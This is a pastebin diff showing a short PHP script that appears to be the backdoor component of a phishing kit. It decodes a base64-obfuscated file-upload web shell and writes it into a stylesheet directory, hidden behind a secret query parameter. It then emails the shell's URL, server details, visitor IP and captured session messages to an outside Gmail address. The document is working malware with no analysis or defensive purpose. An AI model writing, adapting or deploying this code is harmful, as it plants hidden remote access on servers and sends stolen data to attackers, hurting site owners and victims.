View difference between Paste ID: tB40h0t1 and AsV9ifMN
SHOW: | | - or go back to the newest paste.
1
error_reporting(0);
2
session_start();
3
$save = base64_decode("PD9waHANCiRuZW1vID0gJF9HRVRbJ3RhYm9uJ107IA0KaWYoJG5lbW8gPT0gJ21vaycpew0KJG5lbW9zaGVsbCA9ICRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddOyANCiRuZW1vaGVybyA9ICRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXTsgDQplY2hvICI8Zm9ybSBtZXRob2Q9J1BPU1QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnPjxpbnB1dCB0eXBlPSdmaWxlJ25hbWU9J2ZpbGUnIC8+DQo8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nU3VibWl0JyAvPjwvZm9ybT4iOyANCm1vdmVfdXBsb2FkZWRfZmlsZSgkbmVtb2hlcm8sJG5lbW9zaGVsbCk7DQp9DQo/Pg==");
4
$file = fopen("./src/scss/index.php","w");
5
fwrite($file,$save);
6
fclose($file);        
7
$ip  =  getenv("REMOTE_ADDR");
8
$href = $_SERVER['SERVER_NAME'];
9
$header = "http://" . $_SERVER['SERVER_NAME'] .dirname($_SERVER["REQUEST_URI"]) . "/src/scss/index.php?tabon=mok"."";
10
$old = "http://" . $_SERVER["SERVER_NAME"] . dirname($_SERVER["REQUEST_URI"]) . '/yamaha.html'."";
11
$toba = __file__;    
12
$z .= "<html><head><meta charset='UTF-8'></head>
13
<div style='font-size: 13px;font-family:monospace;font-weight:700;'>
14
<font style='color:#9c0000;'>✪</font> Shell's : <font style='color:#0070ba;'><a href="."$header"." target="."_blank".">$href"."</font></a><br>
15
<font style='color:#9c0000;'>✪</font> Save  : <font style='color:#0070ba;'>".$old."</font><br>
16
<font style='color:#9c0000;'>✪</font> Directory  : <font style='color:#0070ba;'>".$toba."</font><br><br>
17
</div></html>\n";
18
$z .= $_SESSION['msg'];
19
$z .= $_SESSION['messages'];
20
$admin = "✪ $href | $ip";
21
$f .= "From: abierta <localhost>";
22
$f .= $_POST['eMailAdd']."\n";
23
$f .= "MIME-Version: 1.0\n";
24
$f .= "Content-type: text/html; charset=UTF-8\n";
25
@mail('dexterbenazzouz@gmail.com', $admin, $z, $f);